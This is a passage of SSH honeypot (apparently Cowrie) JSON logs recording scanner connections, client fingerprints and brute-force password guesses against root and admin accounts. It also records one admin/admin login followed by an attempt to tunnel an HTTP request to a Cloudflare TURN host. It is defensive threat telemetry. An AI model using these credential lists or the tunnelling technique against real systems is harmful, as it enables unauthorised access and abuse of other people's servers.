{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:33.330238Z","src_ip":"20.203.42.204","session":"104dcf4497a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:33.502497Z","src_ip":"20.203.42.204","session":"104dcf4497a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!!","message":"login attempt [root/abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:34.235539Z","src_ip":"20.203.42.204","session":"104dcf4497a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:35.410145Z","src_ip":"20.203.42.204","session":"104dcf4497a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":54754,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f5aee98b507","protocol":"ssh","message":"New connection: 121.168.139.251:54754 (159.203.135.109:22) [session: 4f5aee98b507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:43.807442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:43.813697Z","src_ip":"121.168.139.251","session":"4f5aee98b507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:44.013643Z","src_ip":"121.168.139.251","session":"4f5aee98b507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roman","password":"1234","message":"login attempt [roman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:44.846198Z","src_ip":"121.168.139.251","session":"4f5aee98b507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.050766Z","src_ip":"121.168.139.251","session":"4f5aee98b507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":39474,"dst_ip":"159.203.135.109","dst_port":22,"session":"95f5f0d5ce0f","protocol":"ssh","message":"New connection: 45.148.10.121:39474 (159.203.135.109:22) [session: 95f5f0d5ce0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.263648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.269154Z","src_ip":"45.148.10.121","session":"95f5f0d5ce0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.246","src_port":48222,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b3b77b22e3e","protocol":"ssh","message":"New connection: 196.92.7.246:48222 (159.203.135.109:22) [session: 6b3b77b22e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.342435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.347574Z","src_ip":"196.92.7.246","session":"6b3b77b22e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.354853Z","src_ip":"45.148.10.121","session":"95f5f0d5ce0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.472214Z","src_ip":"196.92.7.246","session":"6b3b77b22e3e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.608730Z","src_ip":"45.148.10.121","session":"95f5f0d5ce0f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.697272Z","session":"95f5f0d5ce0f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.783325Z","src_ip":"45.148.10.121","session":"95f5f0d5ce0f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.787270Z","src_ip":"45.148.10.121","session":"95f5f0d5ce0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.878478Z","src_ip":"45.148.10.121","session":"95f5f0d5ce0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":39476,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9e8e9f13cb","protocol":"ssh","message":"New connection: 45.148.10.121:39476 (159.203.135.109:22) [session: cc9e8e9f13cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.950566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.956475Z","src_ip":"45.148.10.121","session":"cc9e8e9f13cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starcraft2","message":"login attempt [root/starcraft2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:46.999069Z","src_ip":"196.92.7.246","session":"6b3b77b22e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:47.073493Z","src_ip":"45.148.10.121","session":"cc9e8e9f13cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:47.317822Z","src_ip":"45.148.10.121","session":"cc9e8e9f13cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:47.401512Z","session":"cc9e8e9f13cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:47.482861Z","src_ip":"45.148.10.121","session":"cc9e8e9f13cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:47.486587Z","src_ip":"45.148.10.121","session":"cc9e8e9f13cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:47.572928Z","src_ip":"45.148.10.121","session":"cc9e8e9f13cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:48.126308Z","src_ip":"196.92.7.246","session":"6b3b77b22e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":53324,"dst_ip":"159.203.135.109","dst_port":22,"session":"4131d2b04910","protocol":"ssh","message":"New connection: 176.32.39.21:53324 (159.203.135.109:22) [session: 4131d2b04910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:53.282825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:53.288889Z","src_ip":"176.32.39.21","session":"4131d2b04910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:53.441902Z","src_ip":"176.32.39.21","session":"4131d2b04910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"universe","message":"login attempt [root/universe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:53.901271Z","src_ip":"176.32.39.21","session":"4131d2b04910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:55.057068Z","src_ip":"176.32.39.21","session":"4131d2b04910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":41892,"dst_ip":"159.203.135.109","dst_port":22,"session":"99c97f830377","protocol":"ssh","message":"New connection: 109.172.54.111:41892 (159.203.135.109:22) [session: 99c97f830377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:58.647530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:58.653723Z","src_ip":"109.172.54.111","session":"99c97f830377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:58.772557Z","src_ip":"109.172.54.111","session":"99c97f830377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"060686","message":"login attempt [root/060686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:08:59.069566Z","src_ip":"109.172.54.111","session":"99c97f830377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:00.190996Z","src_ip":"109.172.54.111","session":"99c97f830377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":34082,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e8d385a0968","protocol":"ssh","message":"New connection: 156.38.73.89:34082 (159.203.135.109:22) [session: 0e8d385a0968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:04.965150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:04.971105Z","src_ip":"156.38.73.89","session":"0e8d385a0968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecds